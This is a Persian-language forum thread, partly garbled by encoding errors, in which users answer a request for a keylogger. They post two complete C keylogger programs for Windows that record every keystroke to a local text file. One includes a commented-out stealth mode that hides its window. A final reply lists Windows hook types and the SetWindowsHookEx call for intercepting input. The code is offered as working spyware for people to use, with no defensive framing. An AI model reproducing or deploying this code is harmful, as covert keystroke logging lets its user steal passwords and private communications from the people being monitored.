-------------------------------------
اطلاعیه
Collapse
No announcement yet.
keylogger
Collapse
X
-
-
http://www.planet-source-code.com/
Ùکر کنم کدهاشو از اینجا خودت پیدا Ú©Ù†ÛŒ Ùˆ کامپایل Ú©Ù†ÛŒ بهتر باشه
-----------------
کار مدیرای شبگرد شده روزی 5تا درخواست کیلاگر رو Øذ٠کردن
-
مقاله ای در مورد نوشتن یه کیلاگر در لینوکس همراه با سورس نوشته شده توسط cephexinÙایل های پیوست شده
Comment
-
دوست عزيز توجه داشته باش كه ashi_bomba2006 Øر٠بدي نزدن Ùˆ
شما رو به مطالعه سورس كد يه كيلاگر راهنمايي كردن و همونطور كه
ميدونيم يكي از بهترين روش هاي يادگيري برنامه نويسي بررسي سورس كد ها
هست به عنوان مثال كد زير يك كيلاگر به زبان C هست شما با بررسي همچين
كد هايي Ùˆ مطالعه مقالات مرتبط با اين موضوع خيلي سريع به هدÙت خواهي رسيد
کد PHP:# #include <stdio.h>
# #include <stdlib.h>
# #include <windows.h>
#
# int isalt();
# int ismajpressed();
# int isamaj();
# void TraiterLettre(int lettre);
#
# int majuscule;
# FILE *sortie;
# char fichier[256];
#
# int main(int argc, char *argv[])
# {
# int i, lettre, result, lastresult, lastletter, compteur;
#
# GetCurrentDirectory(256, fichier);
# strcat(fichier,"\\capture.txt");
# sortie = fopen(fichier,"w+");
# result=0;
# compteur=0; //on initialise
# lastresult=0;
# i=0;
# while ( i==0 ) { //boucle sans fin
# lettre=13;
# for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
#
# //passer les caractères inutiles
# if ( lettre==14 ) lettre=20;
# if ( lettre==21 ) lettre=48;
# if ( lettre==58 ) lettre=65;
# if ( lettre==91 ) lettre=96;
# if ( lettre==108 ) lettre=109;
# if ( lettre==112 ) lettre=186;
# if ( lettre==189 ) lettre=190;
# if ( lettre==193 ) lettre=219;
# if ( lettre==220 ) lettre=221;
# if ( lettre==222 ) lettre=223;
#
# result=GetKeyState(lettre);
# //Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
# if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
# if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
#
# else if ( ( ( result!=0 ) && ( result!=1 ) ) | ( ( lettre==lastletter ) && ( lastresult!=result ) ) )
# { //si une nouvelle touche est frappée
# if ( ( result!=lastresult ) && ( ( result==-127 ) | ( result==-128 ) )
# && !( ( ( result==-127 ) && ( lastresult==-128 ) ) | ( ( result==-128 )
# && ( lastresult==-127 ) ) ) ) TraiterLettre(lettre); //je ne sais plus trop mais ça marche
# lastresult=result;
# lastletter=lettre;
# } //fin de traitement pour une nouvelle touche
# } //fin de test des lettres
# sleep(1);
# } //fin de la boucle sans fin
#
# return 0;
# }
#
#
# int ismaj() {
#
# if ( ( ( majuscule ) && ( !ismajpressed() ) ) | ( ( !majuscule ) && ( ismajpressed() ) ) )
# return 1;
# else return 0;
# }
#
#
# int ismajpressed() {
# int result;
#
# result=GetKeyState(VK_SHIFT );
# if ( ( result==-127 ) | ( result==-128 ) ) return 1;
# else return 0;
# }
#
#
# int isalt() {
# int result;
#
# result=GetKeyState(VK_MENU );
# if ( ( result==-127 ) | ( result==-128 ) ) return 1;
# else return 0;
# }
#
#
# void TraiterLettre(int lettre) {
# char towrite; //la lettre que l'on va écrire dans la console
# static int compteur = 0;
#
# //traitement des chiffres ( un décalage )
# if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48;
#
# //Les lettres sont envoyées comme majuscules, il faut faire un décalage
# else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
#
# //Sinon on écrit telle quelle la lettre
# else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
#
# else switch ( lettre ) {
# case 48 : if ( isalt() ) towrite='@';
# else towrite='Ã ';
# break;
# case 49 : towrite='&';
# break;
# case 50 : towrite='é';
# break;
# case 51 : if ( isalt() ) towrite='#';
# else towrite='"';
# break;
# case 52 : if ( isalt() ) towrite='{';
# else towrite=39; // '
# break;
# case 53 : if ( isalt() ) towrite='[';
# else towrite='(';
# break;
# case 54 : if ( isalt() ) towrite='|';
# else towrite='-';
# break;
# case 55 : towrite='è';
# break;
# case 56 : if ( isalt() ) towrite='\\';
# else towrite='_';
# break;
# case 57 : towrite='ç';
# break;
# case 219 : if ( isalt() ) towrite=']';
# else towrite=')';
# break;
# case 187 : if ( isalt() ) towrite='}';
# else towrite='=';
# break;
# case 186 : towrite='$';
# break;
# case 192 : towrite='%';
# break;
# case 188 : if ( ismaj() ) towrite='?';
# else towrite=',';
# break;
# case 190 : if ( ismaj() ) towrite='.';
# else towrite=';';
# break;
# case 191 : if ( ismaj() ) towrite='/';
# else towrite=':';
# break;
# case 223 : towrite='!';
# break;
# case 111 : towrite='/';
# break;
# case 106 : towrite='*';
# break;
# case 109 : towrite='-';
# break;
# case 107 : towrite='+';
# break;
# case 110 : towrite='.';
# break;
# }
#
# // On affiche les lettres. exception : la touche entrée
# if ( lettre==13 ) fprintf(sortie,"\n");
# else fprintf(sortie,"%c",towrite);
# compteur++;
# if ( compteur==20 ) {
# fclose(sortie);
# fopen(fichier,"a");
# compteur=0;
# }
# }
چه کسی میگوید که گرانی اینجاست؟؟؟
همه جا ارزانی است...
Ú†Ù‡ شراÙت ارزان
تن عریان ارزان
و دروغ از همه ارزان تر
ÙˆÚ†Ù‡ تخÙی٠بزرگی خورده است قیمت هر انسان
Comment
-
اینم یه دونه سورس دیگه برا ویندوز منبع Ùروم IHS
کد:/* Written by: Omega7 Application: Keylogger Using "GetAsyncKeyState()" Date: 15/Nov/2006 */ #include <stdio.h> #include <windows.h> #include <string.h> #include <time.h> #define FileName "log.txt" void KeyPress(); int main(int argc,char *argv[]) { /* HWND hWnd; //Uncomment this line if you want to AllocConsole(); //use Stealth mode hWnd = FindWindowA("ConsoleWindowClass",NULL); ShowWindow(hWnd,0);*/ FILE *file; if((file=fopen(FileName,"a+")) != NULL) { time_t theTime=time(0); fputs("\nStarted logging: ", file); fputs(ctime(&theTime),file); fprintf(file,"-------------------------------------\n"); fclose(file);} else{ fprintf(stderr,"Error in Accessing File\n"); return EXIT_FAILURE;} KeyPress(); return EXIT_SUCCESS; } void KeyPress() { FILE *fp; unsigned int maxLine=0; long tell; short ch; while(1) { Sleep(80); for(ch=0x06; ch <= 0xDE ; ch++) { if(GetAsyncKeyState(ch)) //check Chars from 0x06 to 0xDE { //if it is in for LOOP the it returns TRUE //For char info chek:"VirtualKeyCodes" in MSDN. if((fp = fopen(FileName,"a+")) != NULL) { if((ch>0x40)&&(ch<0x5B)) //Printing Chars { //ch+=32; //Lower case fprintf(fp,"%c",ch); Sleep(3); maxLine++; fclose(fp); break; } else if((ch >0x29) && (ch < 0x40))//Printing Numbers { fprintf(fp,"%c",ch); maxLine++; fclose(fp); break; } else{ switch(ch){ case VK_SPACE: fputc(' ',fp); maxLine++; fclose(fp); break; case VK_RETURN: fprintf(fp,"\r\n[Enter Pressed] \r\n "); maxLine++; fclose(fp); break; //Debug--- case VK_BACK: fprintf(fp,"|->BACKSPACE<-|"); maxLine++; fclose(fp); break; //---------- case VK_TAB: fprintf(fp,"\r\n[Tab Pressed] \r\n "); maxLine++; fclose(fp); break; case VK_DELETE: fprintf(fp,"\r\n[DEL Pressed]\r\n "); maxLine++; fclose(fp); break; case 0xBA: fprintf(fp,";:"); maxLine++; fclose(fp); break; case 0xBB: fprintf(fp,"+"); maxLine++; fclose(fp); break; case 0xBC: fprintf(fp,","); maxLine++; fclose(fp); break;//----------------- case 0xBD: fprintf(fp,"-"); maxLine++; fclose(fp); break; case 0xBE: fprintf(fp,"."); maxLine++; fclose(fp); break; case VK_OEM_3: fprintf(fp,"'~"); maxLine++; fclose(fp); break; default: fclose(fp); break; } } } else{ fprintf(stderr,"File Access Error!\n"); exit(1); } } } } }
Comment
-
هوک های قابل استÙاده :
WH_CALLWNDPROC
WH_CALLWNDPROCRET
WH_CBT
WH_DEBUG
WH_FOREGROUNDIDLE
WH_GETMESSAGE
WH_JOURNALPLAYBACK
WH_JOURNALRECORD
WH_KEYBOARD
WH_KEYBOARD_LL
WH_MOUSE
WH_MOUSE_LL
WH_MSGFILTER
WH_SHELL
WH_SYSMSGFILTER
برای نصب یک هوک از این تابع Api استÙاده Ú©Ù† :
کد PHP:HHOOK SetWindowsHookEx(
int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle to application instance
DWORD dwThreadId // identity of thread to install hook for
);
یدونه قبلا تو dev-c++ نوشته بودم اگه لازم داشتید تو سایت Pm بدید پیدا کنم بهتون میدم !
اما اینجا اØتملا کامل جواب سوالات شما رو Ù…ÛŒ ده !
http://bothack.wordpress.com/2006/12...-cc-beginners/
Comment
Comment